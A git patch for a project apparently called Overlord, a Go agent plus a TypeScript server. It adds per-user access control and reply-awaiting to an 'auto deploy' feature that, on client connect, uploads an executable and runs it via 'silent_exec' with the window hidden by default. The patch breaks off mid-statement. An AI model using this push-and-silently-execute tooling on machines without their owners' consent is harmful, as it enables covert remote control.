From a1fd780caa68af80ae3b33c19c144a56b0c3ce01 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Wed, 10 Jun 2026 23:50:38 -0500 Subject: [PATCH] fix uploading and more RBAC refinements for auto deploy --- Overlord-Client/cmd/agent/handlers/files.go | 65 +++++- .../cmd/agent/handlers/files_test.go | 56 +++++ Overlord-Client/cmd/agent/session.go | 5 +- Overlord-Server/public/assets/deploy.js | 2 +- Overlord-Server/public/assets/filebrowser.js | 5 +- Overlord-Server/src/db/repositories.ts | 24 ++- Overlord-Server/src/db/schema.ts | 10 + Overlord-Server/src/main-server.ts | 5 +- .../src/server/auto-deploy-dispatch.test.ts | 152 +++++++++++++ .../src/server/auto-deploy-dispatch.ts | 202 +++++++++++++----- .../src/server/routes/auto-deploy-routes.ts | 24 ++- .../src/server/routes/deploy-routes.ts | 143 +++++++++++-- .../routes/file-download-routes.test.ts | 9 +- .../src/server/routes/file-download-routes.ts | 41 +--- .../src/server/routes/winre-routes.ts | 112 ++++++++-- 15 files changed, 701 insertions(+), 154 deletions(-) create mode 100644 Overlord-Server/src/server/auto-deploy-dispatch.test.ts diff --git a/Overlord-Client/cmd/agent/handlers/files.go b/Overlord-Client/cmd/agent/handlers/files.go index 963a4c6..23ea69c 100644 --- a/Overlord-Client/cmd/agent/handlers/files.go +++ b/Overlord-Client/cmd/agent/handlers/files.go @@ -742,7 +742,12 @@ const ( ) func HandleFileUploadHTTP(ctx context.Context, env *agentRuntime.Env, cmdID string, destPath string, sourceURL string, expectedSize int64) error { - parsed, err := url.Parse(strings.TrimSpace(sourceURL)) + resolvedURL, err := resolveUploadPullURL(env, sourceURL) + if err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) + } + + parsed, err := url.Parse(resolvedURL) if err != nil || parsed == nil || parsed.Host == "" { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "invalid upload url"}) } @@ -951,6 +956,64 @@ func nextBackoff(d time.Duration) time.Duration { return next } +func resolveUploadPullURL(env *agentRuntime.Env, raw string) (string, error) { + trimmed := strings.TrimSpace(raw) + if trimmed == "" { + return "", errors.New("missing upload url") + } + + parsed, err := url.Parse(trimmed) + if err != nil { + return "", fmt.Errorf("invalid upload url: %w", err) + } + + if parsed.IsAbs() { + scheme := strings.ToLower(parsed.Scheme) + if scheme != "http" && scheme != "https" { + return "", fmt.Errorf("unsupported upload url scheme: %s", parsed.Scheme) + } + if !strings.HasPrefix(parsed.Path, "/api/file/upload/pull/") { + return parsed.String(), nil + } + } + + if len(env.Cfg.ServerURLs) == 0 { + if parsed.IsAbs() { + return parsed.String(), nil + } + return "", errors.New("no server url configured for upload pull") + } + + idx := env.Cfg.ServerIndex + if idx < 0 || idx >= len(env.Cfg.ServerURLs) { + idx = 0 + } + server, err := url.Parse(env.Cfg.ServerURLs[idx]) + if err != nil { + return "", fmt.Errorf("invalid agent server url: %w", err) + } + switch strings.ToLower(server.Scheme) { + case "wss": + server.Scheme = "https" + case "ws": + server.Scheme = "http" + case "https", "http": + default: + return "", fmt.Errorf("unsupported agent server scheme: %s", server.Scheme) + } + + if parsed.Path == "" { + return "", errors.New("missing upload pull path") + } + if !strings.HasPrefix(parsed.Path, "/") { + parsed.Path = "/" + parsed.Path + } + server.Path = parsed.Path + server.RawQuery = parsed.RawQuery + server.Fragment = "" + return server.String(), nil +} + func HandleFileDelete(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error { log.Printf("file_delete: %s", path) diff --git a/Overlord-Client/cmd/agent/handlers/files_test.go b/Overlord-Client/cmd/agent/handlers/files_test.go index 4fc6346..7967dfd 100644 --- a/Overlord-Client/cmd/agent/handlers/files_test.go +++ b/Overlord-Client/cmd/agent/handlers/files_test.go @@ -8,6 +8,7 @@ import ( "net/http/httptest" "os" "path/filepath" + "strings" "testing" "overlord-client/cmd/agent/config" @@ -522,6 +523,61 @@ func TestHandleFileUploadHTTP(t *testing.T) { } } +func TestHandleFileUploadHTTP_RewritesUploadPullURLToAgentServer(t *testing.T) { + data := []byte("wan-origin-upload-payload") + var gotHost string + var gotPath string + + ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + gotHost = r.Host + gotPath = r.URL.RequestURI() + if gotPath != "/api/file/upload/pull/test-id?token=abc" { + t.Fatalf("expected rewritten upload pull path, got %q", gotPath) + } + _, _ = w.Write(data) + })) + defer ts.Close() + + tmpDir := t.TempDir() + destPath := filepath.Join(tmpDir, "uploaded-http-rewritten.bin") + + writer := &testWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{ + ServerURLs: []string{strings.Replace(ts.URL, "http://", "ws://", 1)}, + }, + } + + publicOriginURL := "https://public.example.invalid/api/file/upload/pull/test-id?token=abc" + if err := HandleFileUploadHTTP(context.Background(), env, "cmd-http-upload-rewrite", destPath, publicOriginURL, int64(len(data))); err != nil { + t.Fatalf("HandleFileUploadHTTP failed: %v", err) + } + + if gotHost == "" || strings.Contains(gotHost, "public.example.invalid") { + t.Fatalf("expected request to active agent server, got host %q", gotHost) + } + + content, err := os.ReadFile(destPath) + if err != nil { + t.Fatalf("failed reading uploaded file: %v", err) + } + if !bytes.Equal(content, data) { + t.Fatalf("uploaded content mismatch") + } + + if len(writer.msgs) != 1 { + t.Fatalf("expected 1 message, got %d", len(writer.msgs)) + } + var result wire.CommandResult + if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil { + t.Fatalf("failed to unmarshal command result: %v", err) + } + if !result.OK { + t.Fatalf("expected OK=true, got false: %s", result.Message) + } +} + func TestHandleFileUploadHTTP_ResumesWithRangeAfterShortRead(t *testing.T) { data := bytes.Repeat([]byte("range-retry-"), 128*1024) firstLen := len(data) / 3 diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index 8d2ea25..b6679fd 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -119,8 +119,11 @@ func runClient(cfg config.Config) { conn.SetReadLimit(8 * 1024 * 1024) + sessionCfg := cfg + sessionCfg.ServerIndex = currentIndex + var sessionErr error - if err := runSession(ctx, cancel, conn, cfg); err != nil { + if err := runSession(ctx, cancel, conn, sessionCfg); err != nil { sessionErr = err log.Printf("session ended: %v (retrying in %s)", err, backoff) lastDisconnect = time.Now() diff --git a/Overlord-Server/public/assets/deploy.js b/Overlord-Server/public/assets/deploy.js index 75da209..046209b 100644 --- a/Overlord-Server/public/assets/deploy.js +++ b/Overlord-Server/public/assets/deploy.js @@ -498,7 +498,7 @@ executeBtn.addEventListener("click", async () => { if (r.ok === false) { return { clientName, clientId: r.clientId, error: r.reason || "Dispatch failed" }; } - return { clientName, clientId: r.clientId, output: "Queued", command: r.command }; + return { clientName, clientId: r.clientId, output: "Uploaded and execution started", command: r.command }; }); outputContainer.innerHTML = namedResults diff --git a/Overlord-Server/public/assets/filebrowser.js b/Overlord-Server/public/assets/filebrowser.js index ab97deb..88e9d0b 100644 --- a/Overlord-Server/public/assets/filebrowser.js +++ b/Overlord-Server/public/assets/filebrowser.js @@ -2635,10 +2635,10 @@ async function uploadFileViaHttpPull(file, path, transfer) { let waitResult; if (uploadData.agentNotified && typeof uploadData.agentCommandId === "string") { commandId = uploadData.agentCommandId; - waitResult = waitForCommandResult(commandId, 12 * 60 * 1000); + waitResult = waitForCommandResult(commandId, HTTP_UPLOAD_AGENT_TIMEOUT_MS); } else { commandId = `upload-http-${Date.now()}-${Math.random()}`; - waitResult = waitForCommandResult(commandId, 12 * 60 * 1000); + waitResult = waitForCommandResult(commandId, HTTP_UPLOAD_AGENT_TIMEOUT_MS); send({ type: "command", commandType: "file_upload_http", @@ -2670,6 +2670,7 @@ const WS_UPLOAD_MAX_TOTAL = 8 * 1024 * 1024; const WS_UPLOAD_CHUNK_SIZE = 512 * 1024; const WS_UPLOAD_CONCURRENCY = 4; const WS_UPLOAD_ACK_TIMEOUT_MS = 90 * 1000; +const HTTP_UPLOAD_AGENT_TIMEOUT_MS = 30 * 60 * 1000; const PREFER_HTTP_UPLOAD_PULL = true; async function uploadFileViaWsChunks(file, path, transfer) { diff --git a/Overlord-Server/src/db/repositories.ts b/Overlord-Server/src/db/repositories.ts index 179cf01..c301bd8 100644 --- a/Overlord-Server/src/db/repositories.ts +++ b/Overlord-Server/src/db/repositories.ts @@ -2250,6 +2250,7 @@ export type AutoDeploy = { hideWindow: boolean; enabled: boolean; osFilter: string[]; + createdByUserId: number | null; createdAt: number; updatedAt: number; }; @@ -2272,6 +2273,7 @@ function mapAutoDeployRow(row: any): AutoDeploy { hideWindow: row.hide_window === 1, enabled: row.enabled === 1, osFilter, + createdByUserId: row.created_by_user_id == null ? null : Number(row.created_by_user_id), createdAt: Number(row.created_at) || 0, updatedAt: Number(row.updated_at) || 0, }; @@ -2282,6 +2284,14 @@ export function listAutoDeploys(): AutoDeploy[] { return rows.map(mapAutoDeployRow); } +export function listAutoDeploysForUser(userId: number, role: string): AutoDeploy[] { + if (role === "admin") return listAutoDeploys(); + const rows = db + .query(`SELECT * FROM auto_deploys WHERE created_by_user_id=? ORDER BY created_at DESC`) + .all(userId); + return rows.map(mapAutoDeployRow); +} + export function getAutoDeploysByTrigger(trigger: AutoDeployTrigger): AutoDeploy[] { const rows = db .query( @@ -2296,6 +2306,14 @@ export function getAutoDeploy(id: string): AutoDeploy | null { return row ? mapAutoDeployRow(row) : null; } +export function canUserManageAutoDeploy(userId: number, role: string, deployId: string): boolean { + if (role === "admin") return true; + const row = db + .query<{ created_by_user_id: number | null }>(`SELECT created_by_user_id FROM auto_deploys WHERE id=?`) + .get(deployId); + return row?.created_by_user_id != null && Number(row.created_by_user_id) === userId; +} + export function createAutoDeploy(input: { id: string; name: string; @@ -2308,11 +2326,12 @@ export function createAutoDeploy(input: { hideWindow: boolean; enabled: boolean; osFilter: string[]; + createdByUserId: number; }): AutoDeploy { const now = Date.now(); db.run( - `INSERT INTO auto_deploys (id, name, trigger, file_path, file_name, file_size, file_os, args, hide_window, enabled, os_filter, created_at, updated_at) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`, + `INSERT INTO auto_deploys (id, name, trigger, file_path, file_name, file_size, file_os, args, hide_window, enabled, os_filter, created_by_user_id, created_at, updated_at) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`, input.id, input.name, input.trigger, @@ -2324,6 +2343,7 @@ export function createAutoDeploy(input: { input.hideWindow ? 1 : 0, input.enabled ? 1 : 0, JSON.stringify(input.osFilter ?? []), + input.createdByUserId, now, now, ); diff --git a/Overlord-Server/src/db/schema.ts b/Overlord-Server/src/db/schema.ts index 8a82771..44e25b3 100644 --- a/Overlord-Server/src/db/schema.ts +++ b/Overlord-Server/src/db/schema.ts @@ -446,6 +446,7 @@ db.run(` hide_window INTEGER NOT NULL DEFAULT 1, enabled INTEGER NOT NULL, os_filter TEXT NOT NULL DEFAULT '[]', + created_by_user_id INTEGER, created_at INTEGER NOT NULL, updated_at INTEGER NOT NULL ); @@ -453,6 +454,15 @@ db.run(` db.run( `CREATE INDEX IF NOT EXISTS idx_auto_deploys_trigger ON auto_deploys(trigger, enabled);`, ); +try { + const columns = db.query<{ name: string }>(`PRAGMA table_info(auto_deploys)`).all(); + if (!columns.some((column) => column.name === "created_by_user_id")) { + db.run(`ALTER TABLE auto_deploys ADD COLUMN created_by_user_id INTEGER`); + } + db.run( + `CREATE INDEX IF NOT EXISTS idx_auto_deploys_created_by_user_id ON auto_deploys(created_by_user_id);`, + ); +} catch { /* legacy migration will retry on next startup */ } db.run(` CREATE TABLE IF NOT EXISTS auto_deploy_runs ( diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index 7364a60..5a2918c 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -499,6 +499,7 @@ async function startServer() { deploy: { DEPLOY_ROOT, deployUploads, + pendingCommandReplies, detectUploadOs, normalizeClientOs, }, @@ -621,9 +622,7 @@ async function startServer() { handleDesktopAudioViewerMessage, dispatchAutoScriptsForConnection, dispatchAutoDeploysForConnection: (info: import("./types").ClientInfo, ws: import("bun").ServerWebSocket) => { - const proto = tls ? "https" : "http"; - const origin = `${proto}://127.0.0.1:${PORT}`; - dispatchAutoDeploysForConnection(info, ws, origin); + dispatchAutoDeploysForConnection(info, ws, { pendingCommandReplies }); }, dispatchAutoLoadPlugins: (info: import("./types").ClientInfo) => { dispatchAutoLoadPlugins( diff --git a/Overlord-Server/src/server/auto-deploy-dispatch.test.ts b/Overlord-Server/src/server/auto-deploy-dispatch.test.ts new file mode 100644 index 0000000..6bafad9 --- /dev/null +++ b/Overlord-Server/src/server/auto-deploy-dispatch.test.ts @@ -0,0 +1,152 @@ +import fs from "fs/promises"; +import path from "path"; +import { afterEach, describe, expect, test } from "bun:test"; +import { + createAutoDeploy, + deleteAutoDeploy, + deleteClientRow, + upsertClientRow, +} from "../db"; +import { decodeMessage } from "../protocol"; +import { + createUser, + deleteUser, + getUserById, + setUserClientAccessRule, + setUserClientAccessScope, +} from "../users"; +import type { ClientInfo } from "../types"; +import { dispatchAutoDeploysForConnection } from "./auto-deploy-dispatch"; + +const PASSWORD = "Aa1!AutoDeployDispatchTestPass"; + +const createdUserIds: number[] = []; +const createdDeployIds: string[] = []; +const createdClientIds: string[] = []; +const createdDirs: string[] = []; + +async function makeUser(role: "admin" | "operator" | "viewer") { + const username = `ad_${role.slice(0, 3)}_${Date.now().toString(36)}${Math.floor(Math.random() * 1e6).toString(36)}`; + const result = await createUser(username, PASSWORD, role, "test"); + expect(result.success).toBe(true); + const user = getUserById(result.userId!); + expect(user).not.toBeNull(); + createdUserIds.push(user!.id); + return user!; +} + +function makeClient(id: string, os = "windows") { + const sent: Uint8Array[] = []; + upsertClientRow({ + id, + os, + arch: "x64", + online: 1, + lastSeen: Date.now(), + }); + createdClientIds.push(id); + + const info: ClientInfo = { + id, + role: "client", + os, + lastSeen: Date.now(), + ws: { + send(message: Uint8Array) { + sent.push(message); + }, + }, + }; + + const viewerWs = { data: { wasKnown: true } } as any; + return { info, viewerWs, sent }; +} + +async function makeAutoDeploy(ownerId: number, name: string) { + const id = `auto-deploy-test-${Date.now().toString(36)}-${Math.floor(Math.random() * 1e6).toString(36)}`; + const dir = path.resolve(".test-data", "auto-deploy-dispatch", id); + const filePath = path.join(dir, "payload.exe"); + await fs.mkdir(dir, { recursive: true }); + await fs.writeFile(filePath, "payload"); + createdDirs.push(dir); + createdDeployIds.push(id); + return createAutoDeploy({ + id, + name, + trigger: "on_connect", + filePath, + fileName: "payload.exe", + fileSize: 7, + fileOs: "windows", + args: "", + hideWindow: true, + enabled: true, + osFilter: [], + createdByUserId: ownerId, + }); +} + +function sentCommandTypes(sent: Uint8Array[]): string[] { + return sent + .map((message) => decodeMessage(message) as any) + .map((message) => String(message?.commandType || "")); +} + +async function resolvePendingOnce(pendingCommandReplies: Map) { + const first = pendingCommandReplies.entries().next().value; + expect(first).toBeTruthy(); + const [cmdId, pending] = first; + clearTimeout(pending.timeout); + pending.resolve({ ok: true, message: "ok" }); + pendingCommandReplies.delete(cmdId); + await Promise.resolve(); +} + +afterEach(async () => { + while (createdDeployIds.length > 0) { + const id = createdDeployIds.pop(); + if (typeof id === "string") deleteAutoDeploy(id); + } + while (createdClientIds.length > 0) { + const id = createdClientIds.pop(); + if (typeof id === "string") deleteClientRow(id); + } + while (createdUserIds.length > 0) { + const id = createdUserIds.pop(); + if (typeof id === "number") deleteUser(id); + } + while (createdDirs.length > 0) { + const dir = createdDirs.pop(); + if (typeof dir === "string") await fs.rm(dir, { recursive: true, force: true }); + } +}); + +describe("auto deploy dispatch", () => { + test("operator-owned auto deploys only run for clients allowed by RBAC", async () => { + const operator = await makeUser("operator"); + setUserClientAccessScope(operator.id, "allowlist"); + setUserClientAccessRule(operator.id, "ad-allowed-client", "allow"); + await makeAutoDeploy(operator.id, "operator scoped"); + + const allowedPending = new Map(); + const allowed = makeClient("ad-allowed-client"); + dispatchAutoDeploysForConnection(allowed.info, allowed.viewerWs, { + pendingCommandReplies: allowedPending, + }); + expect(sentCommandTypes(allowed.sent)).toContain("file_upload_http"); + expect(sentCommandTypes(allowed.sent)).not.toContain("silent_exec"); + + await resolvePendingOnce(allowedPending); + expect(sentCommandTypes(allowed.sent)).toContain("silent_exec"); + await resolvePendingOnce(allowedPending); + + const blockedPending = new Map(); + const blocked = makeClient("ad-blocked-client"); + dispatchAutoDeploysForConnection(blocked.info, blocked.viewerWs, { + pendingCommandReplies: blockedPending, + }); + expect(sentCommandTypes(blocked.sent)).not.toContain("file_upload_http"); + expect(sentCommandTypes(blocked.sent)).not.toContain("silent_exec"); + expect(blockedPending.size).toBe(0); + }); +}); diff --git a/Overlord-Server/src/server/auto-deploy-dispatch.ts b/Overlord-Server/src/server/auto-deploy-dispatch.ts index ab25bb3..f391051 100644 --- a/Overlord-Server/src/server/auto-deploy-dispatch.ts +++ b/Overlord-Server/src/server/auto-deploy-dispatch.ts @@ -9,11 +9,86 @@ import type { ClientInfo } from "../types"; import { logAudit, AuditAction } from "../auditLog"; import { normalizeClientOs } from "./deploy-utils"; import { createUploadPull } from "./file-transfer-state"; +import { canUserAccessClient, getUserById } from "../users"; + +const AUTO_DEPLOY_COMMAND_TIMEOUT_MS = 30 * 60 * 1000; +const AUTO_DEPLOY_UPLOAD_TTL_MS = 30 * 60 * 1000; + +type PendingCommandResult = { ok: boolean; message?: string }; + +type PendingCommandReply = { + timeout: ReturnType; + resolve: (value: PendingCommandResult) => void; + clientId: string; +}; + +type AutoDeployDispatchDeps = { + pendingCommandReplies: Map; +}; + +function autoDeployCanRunOnClient( + deploy: { id: string; createdByUserId: number | null }, + clientId: string, +): boolean { + if (deploy.createdByUserId == null) { + return true; + } + + const owner = getUserById(deploy.createdByUserId); + if (!owner) { + logger.warn(`[auto-deploy] skipping ${deploy.id}: owner user ${deploy.createdByUserId} no longer exists`); + return false; + } + if (owner.role === "admin") { + return true; + } + + return canUserAccessClient(owner.id, owner.role, clientId); +} + +function getAutoDeployAuditUser(deploy: { createdByUserId: number | null }): string { + if (deploy.createdByUserId == null) return "system"; + const owner = getUserById(deploy.createdByUserId); + return owner?.username || `user:${deploy.createdByUserId}`; +} + +function waitForAutoDeployCommand( + deps: AutoDeployDispatchDeps, + info: ClientInfo, + commandType: string, + payload: unknown, + timeoutMessage: string, +): Promise { + const cmdId = uuidv4(); + return new Promise((resolve) => { + const timeout = setTimeout(() => { + deps.pendingCommandReplies.delete(cmdId); + resolve({ ok: false, message: timeoutMessage }); + }, AUTO_DEPLOY_COMMAND_TIMEOUT_MS); + + deps.pendingCommandReplies.set(cmdId, { resolve, timeout, clientId: info.id }); + + try { + info.ws.send( + encodeMessage({ + type: "command", + commandType: commandType as any, + id: cmdId, + payload, + }), + ); + } catch (err) { + clearTimeout(timeout); + deps.pendingCommandReplies.delete(cmdId); + resolve({ ok: false, message: (err as Error)?.message || "send failed" }); + } + }); +} export function dispatchAutoDeploysForConnection( info: ClientInfo, ws: ServerWebSocket, - serverOrigin: string, + deps: AutoDeployDispatchDeps, ): void { if (info.role !== "client") return; if (ws.data?.autoDeploysRan) return; @@ -32,6 +107,10 @@ export function dispatchAutoDeploysForConnection( const clientOs = normalizeClientOs(info.os); for (const deploy of deploys) { + if (!autoDeployCanRunOnClient(deploy, info.id)) { + continue; + } + if (deploy.osFilter.length > 0) { const rawOs = (info.os || "").toLowerCase(); if (!deploy.osFilter.includes(rawOs)) { @@ -43,7 +122,6 @@ export function dispatchAutoDeploysForConnection( if (hasAutoDeployRun(deploy.id, info.id)) { continue; } - recordAutoDeployRun(deploy.id, info.id); } // Verify the file still exists @@ -70,64 +148,76 @@ export function dispatchAutoDeploysForConnection( filePath: deploy.filePath, fileName: deploy.fileName, size: deploy.fileSize, - ttlMs: 120_000, + ttlMs: AUTO_DEPLOY_UPLOAD_TTL_MS, }); - const pullUrl = `${serverOrigin}/api/file/upload/pull/${encodeURIComponent(pullId)}`; + const pullUrl = `/api/file/upload/pull/${encodeURIComponent(pullId)}`; - try { - info.ws.send( - encodeMessage({ - type: "command", - commandType: "file_upload_http" as any, - id: uuidv4(), - payload: { path: destPath, url: pullUrl, total: deploy.fileSize }, - }), - ); - - if (clientOs !== "windows") { - info.ws.send( - encodeMessage({ - type: "command", - commandType: "file_chmod" as any, - id: uuidv4(), - payload: { path: destPath, mode: "0755" }, - }), + void (async () => { + const auditUser = getAutoDeployAuditUser(deploy); + try { + const uploadResult = await waitForAutoDeployCommand( + deps, + info, + "file_upload_http", + { path: destPath, url: pullUrl, total: deploy.fileSize }, + "Timed out waiting for auto-deploy upload to finish", ); + if (!uploadResult.ok) { + throw new Error(uploadResult.message || "auto-deploy upload failed"); + } + + if (clientOs !== "windows") { + const chmodResult = await waitForAutoDeployCommand( + deps, + info, + "file_chmod", + { path: destPath, mode: "0755" }, + "Timed out waiting for auto-deploy chmod to finish", + ); + if (!chmodResult.ok) { + throw new Error(chmodResult.message || "auto-deploy chmod failed"); + } + } + + const execResult = await waitForAutoDeployCommand( + deps, + info, + "silent_exec", + { command: destPath, args: deploy.args, hideWindow: deploy.hideWindow }, + "Timed out waiting for auto-deploy execution to start", + ); + if (!execResult.ok) { + throw new Error(execResult.message || "auto-deploy execution failed"); + } + + if (deploy.trigger === "on_connect_once") { + recordAutoDeployRun(deploy.id, info.id); + } + metrics.recordCommand("silent_exec"); + logAudit({ + timestamp: Date.now(), + username: auditUser, + ip: "server", + action: AuditAction.SILENT_EXECUTE, + targetClientId: info.id, + success: true, + details: `auto-deploy:${deploy.name} trigger=${deploy.trigger} file=${deploy.fileName}`, + }); + logger.info(`[auto-deploy] dispatched ${deploy.id} (${deploy.trigger}) to ${info.id}`); + } catch (err) { + logger.warn(`[auto-deploy] failed to dispatch ${deploy.id} to ${info.id}`, err); + logAudit({ + timestamp: Date.now(), + username: auditUser, + ip: "server", + action: AuditAction.SILENT_EXECUTE, + targetClientId: info.id, + success: false, + details: `auto-deploy:${deploy.name} trigger=${deploy.trigger} file=${deploy.fileName}`, + errorMessage: (err as Error)?.message || "send failed", + }); } - - info.ws.send( - encodeMessage({ - type: "command", - commandType: "silent_exec" as any, - id: uuidv4(), - payload: { command: destPath, args: deploy.args, hideWindow: deploy.hideWindow }, - }), - ); - - metrics.recordCommand("silent_exec"); - logAudit({ - timestamp: Date.now(), - username: "system", - ip: "server", - action: AuditAction.SILENT_EXECUTE, - targetClientId: info.id, - success: true, - details: `auto-deploy:${deploy.name} trigger=${deploy.trigger} file=${deploy.fileName}`, - }); - logger.info(`[auto-deploy] dispatched ${deploy.id} (${deploy.trigger}) to ${info.id}`); - } catch (err) { - logger.warn(`[auto-deploy] failed to dispatch ${deploy.id} to ${info.id}`, err); - logAudit({ - timestamp: Date.now(), - username: "system", - ip: "server", - action: AuditAction.SILENT_EXECUTE, - targetClientId: info.id, - success: false, - details: `auto-deploy:${deploy.name} trigger=${deploy.trigger} file=${deploy.fileName}`, - errorMessage: (err as Error)?.message || "send failed", - }); - } + })(); } ws.data.autoDeploysRan = true; diff --git a/Overlord-Server/src/server/routes/auto-deploy-routes.ts b/Overlord-Server/src/server/routes/auto-deploy-routes.ts index 150b3cd..8aa1ae9 100644 --- a/Overlord-Server/src/server/routes/auto-deploy-routes.ts +++ b/Overlord-Server/src/server/routes/auto-deploy-routes.ts @@ -2,10 +2,11 @@ import fs from "fs/promises"; import path from "path"; import { authenticateRequest } from "../../auth"; import { + canUserManageAutoDeploy, createAutoDeploy, deleteAutoDeploy, getAutoDeploy, - listAutoDeploys, + listAutoDeploysForUser, updateAutoDeploy, type AutoDeployTrigger, } from "../../db"; @@ -34,13 +35,13 @@ export async function handleAutoDeployRoutes( }); } try { - requirePermission(user, "clients:control"); + requirePermission(user, "deploys:manage"); } catch (error) { if (error instanceof Response) return error; return new Response("Forbidden", { status: 403 }); } - return Response.json({ items: listAutoDeploys() }); + return Response.json({ items: listAutoDeploysForUser(user.userId, user.role) }); } if (req.method === "POST" && url.pathname === "/api/auto-deploys") { @@ -113,6 +114,7 @@ export async function handleAutoDeployRoutes( hideWindow, enabled, osFilter, + createdByUserId: user.userId, }); return Response.json({ ok: true, item }); @@ -151,7 +153,12 @@ export async function handleAutoDeployRoutes( ? osFilterRaw.filter((v: unknown) => typeof v === "string" && ALLOWED_OS_FILTERS.has(v as string)) : undefined; - const updated = updateAutoDeploy(autoDeployMatch[1], { + const deployId = autoDeployMatch[1]; + if (!canUserManageAutoDeploy(user.userId, user.role, deployId)) { + return Response.json({ error: "Not found" }, { status: 404 }); + } + + const updated = updateAutoDeploy(deployId, { name: body?.name ? String(body.name).trim() : undefined, trigger: triggerRaw as AutoDeployTrigger | undefined, args: typeof body?.args === "string" ? body.args : undefined, @@ -182,7 +189,12 @@ export async function handleAutoDeployRoutes( return new Response("Forbidden", { status: 403 }); } - const deploy = getAutoDeploy(autoDeployMatch[1]); + const deployId = autoDeployMatch[1]; + if (!canUserManageAutoDeploy(user.userId, user.role, deployId)) { + return Response.json({ error: "Not found" }, { status: 404 }); + } + + const deploy = getAutoDeploy(deployId); if (deploy) { try { const dir = path.dirname(deploy.filePath); @@ -190,7 +202,7 @@ export async function handleAutoDeployRoutes( } catch { } } - deleteAutoDeploy(autoDeployMatch[1]); + deleteAutoDeploy(deployId); return Response.json({ ok: true }); } diff --git a/Overlord-Server/src/server/routes/deploy-routes.ts b/Overlord-Server/src/server/routes/deploy-routes.ts index 34c9d31..2277b4a 100644 --- a/Overlord-Server/src/server/routes/deploy-routes.ts +++ b/Overlord-Server/src/server/routes/deploy-routes.ts @@ -24,13 +24,62 @@ type DeployUpload = { os: DeployOs; }; +type PendingCommandReply = { + resolve: (result: { ok: boolean; message?: string }) => void; + reject: (error: Error) => void; + timeout: NodeJS.Timeout; + clientId: string; +}; + type DeployRouteDeps = { DEPLOY_ROOT: string; deployUploads: Map; + pendingCommandReplies: Map; detectUploadOs: (filename: string, bytes: Uint8Array) => DeployOs; normalizeClientOs: (os?: string) => DeployOs; }; +const DEPLOY_COMMAND_TIMEOUT_MS = 30 * 60_000; + +function waitForClientCommand( + deps: DeployRouteDeps, + target: any, + clientId: string, + command: any, + timeoutMessage: string, + timeoutMs = DEPLOY_COMMAND_TIMEOUT_MS, +): Promise<{ ok: boolean; message?: string }> { + const cmdId = command.id || uuidv4(); + command.id = cmdId; + + const replyPromise = new Promise<{ ok: boolean; message?: string }>((resolve, reject) => { + const timeout = setTimeout(() => { + deps.pendingCommandReplies.delete(cmdId); + resolve({ ok: false, message: timeoutMessage }); + }, timeoutMs); + deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId }); + }); + + try { + target.ws.send(encodeMessage(command)); + } catch (error) { + const pending = deps.pendingCommandReplies.get(cmdId); + if (pending) { + clearTimeout(pending.timeout); + deps.pendingCommandReplies.delete(cmdId); + } + return Promise.resolve({ + ok: false, + message: (error as Error)?.message || "Failed to send command", + }); + } + + return replyPromise.catch((error) => ({ + ok: false, + message: (error as Error)?.message || timeoutMessage, + })); +} + export async function handleDeployRoutes( req: Request, url: URL, @@ -225,38 +274,63 @@ export async function handleDeployRoutes( fileName: upload.name, size: upload.size, }); - const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`; - - target.ws.send( - encodeMessage({ + const pullUrl = `/api/file/upload/pull/${encodeURIComponent(pullId)}`; + const uploadResult = await waitForClientCommand( + deps, + target, + clientId, + { type: "command", commandType: "file_upload_http", id: uuidv4(), payload: { path: destPath, url: pullUrl, total: upload.size }, - }), + }, + "Upload to client timed out", ); + if (!uploadResult.ok) { + results.push({ clientId, ok: false, reason: uploadResult.message || "upload_failed" }); + continue; + } if (clientOs !== "windows") { - target.ws.send( - encodeMessage({ + const chmodResult = await waitForClientCommand( + deps, + target, + clientId, + { type: "command", commandType: "file_chmod", id: uuidv4(), payload: { path: destPath, mode: "0755" }, - }), + }, + "chmod timed out", + 60_000, ); + if (!chmodResult.ok) { + results.push({ clientId, ok: false, reason: chmodResult.message || "chmod_failed" }); + continue; + } } const displayCommand = formatCommandDisplay(destPath, args); - target.ws.send( - encodeMessage({ + const execResult = await waitForClientCommand( + deps, + target, + clientId, + { type: "command", commandType: "silent_exec", id: uuidv4(), payload: { command: destPath, args, hideWindow }, - }), + }, + "Execution start timed out", + 60_000, ); + if (!execResult.ok) { + results.push({ clientId, ok: false, reason: execResult.message || "execute_failed" }); + continue; + } metrics.recordCommand("silent_exec"); logAudit({ @@ -342,37 +416,62 @@ export async function handleDeployRoutes( fileName: upload.name, size: upload.size, }); - const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`; - - target.ws.send( - encodeMessage({ + const pullUrl = `/api/file/upload/pull/${encodeURIComponent(pullId)}`; + const uploadResult = await waitForClientCommand( + deps, + target, + clientId, + { type: "command", commandType: "file_upload_http", id: uuidv4(), payload: { path: destPath, url: pullUrl, total: upload.size }, - }), + }, + "Upload to client timed out", ); + if (!uploadResult.ok) { + results.push({ clientId, ok: false, reason: uploadResult.message || "upload_failed" }); + continue; + } if (clientOs !== "windows") { - target.ws.send( - encodeMessage({ + const chmodResult = await waitForClientCommand( + deps, + target, + clientId, + { type: "command", commandType: "file_chmod", id: uuidv4(), payload: { path: destPath, mode: "0755" }, - }), + }, + "chmod timed out", + 60_000, ); + if (!chmodResult.ok) { + results.push({ clientId, ok: false, reason: chmodResult.message || "chmod_failed" }); + continue; + } } const hash = fileHash; - target.ws.send( - 